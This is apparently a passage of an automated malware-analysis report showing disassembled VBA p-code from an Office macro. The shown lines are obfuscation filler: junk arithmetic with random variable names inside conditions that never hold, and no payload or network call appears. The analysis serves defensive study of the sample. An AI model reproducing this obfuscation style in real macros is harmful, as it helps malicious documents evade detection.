' 	LitDI4 0xA158 0x2528 
' 	LitDI4 0xEB4F 0x382B 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x088E 0x235B 
' 	Div 
' 	Ld MZQQDCB 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld q4AGADG 
' 	Sub 
' 	LitDI4 0xD999 0x28FD 
' 	Add 
' 	LitDI4 0x9C65 0x3ABF 
' 	Sub 
' 	LitDI4 0x95E7 0x21DB 
' 	Add 
' 	Ld IAXBcUQA 
' 	LitDI4 0xB035 0x02E6 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St NcUUDUQ 
' Line #63:
' 	StartForVariable 
' 	Next 
' Line #64:
' 	EndIfBlock 
' Line #65:
' 	LitDI4 0x20E4 0x13D2 
' 	LitDI4 0xE2B3 0x28F4 
' 	Eq 
' 	IfBlock 
' Line #66:
' 	StartForVariable 
' 	Ld n41DwGXU 
' 	EndForVariable 
' 	Ld jABkQwAA 
' 	Ld nABA4o 
' 	For 
' Line #67:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0x07A4 0x0790 
' 	Ld cooUQA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0x1A45 0x12ED 
' 	Ld TAABDU 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0x018C 0x35B8 
' 	Mul 
' 	Add 
' 	LitDI4 0xE3C0 0x121F 
' 	LitDI4 0xA883 0x34F2 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x86CC 0x0A2F 
' 	Div 
' 	Ld kQAwDB1G 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld zBAQAD 
' 	Sub 
' 	LitDI4 0x9A82 0x0044 
' 	Add 
' 	LitDI4 0x706B 0x3655 
' 	Sub 
' 	LitDI4 0xBAFC 0x1FC5 
' 	Add 
' 	Ld aA4AAA_ 
' 	LitDI4 0x6777 0x1A6E 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St UADABUQA 
' Line #68:
' 	StartForVariable 
' 	Next 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	EndIfBlock 
' Line #71:
' 	LitDI4 0x6496 0x3010 
' 	LitDI4 0xCBB2 0x322F 
' 	Eq 
' 	IfBlock 
' Line #72:
' 	StartForVariable 
' 	Ld lAAAA1ko 
' 	EndForVariable 
' 	Ld sDGUUwAA 
' 	Ld lAAUBBZA 
' 	For 
' Line #73:
' 	LineCont 0x0010 01 00 00 00 0B 00 00 00 16 00 00 00 22 00 00 00
' 	LitDI4 0xE647 0x2C45 
' 	Ld OoAUxUwA 
' 	ArgsLd Rnd 0x0001 
' 	Div 
' 	LitDI4 0xEBCB 0x3601 
' 	Ld OQDQBDU 
' 	Coerce (Str) 
' 	Mul 
' 	LitDI4 0xF05D 0x2BD0 
' 	Mul 
' 	Add 
' 	LitDI4 0xACB4 0x350F 
' 	LitDI4 0x66D7 0x181D 
' 	FnFix 
' 	Mul 
' 	LitDI4 0x10E6 0x35A8 
' 	Div 
' 	Ld IUAXUUAA 
' 	FnInt 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	Ld sAQD_AA 
' 	Sub 
' 	LitDI4 0xE1A0 0x2505 
' 	Add 
' 	LitDI4 0x91CD 0x36AD 
' 	Sub 
' 	LitDI4 0x8C74 0x2333 
' 	Add 
' 	Ld NUDAwG 
' 	LitDI4 0xAA5A 0x12EF 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St hkAAAcAZ 
' Line #74:
' 	StartForVariable 
' 	Next 
' Line #75:
…

Open this report in the interactive analyzer, or submit your own file for analysis.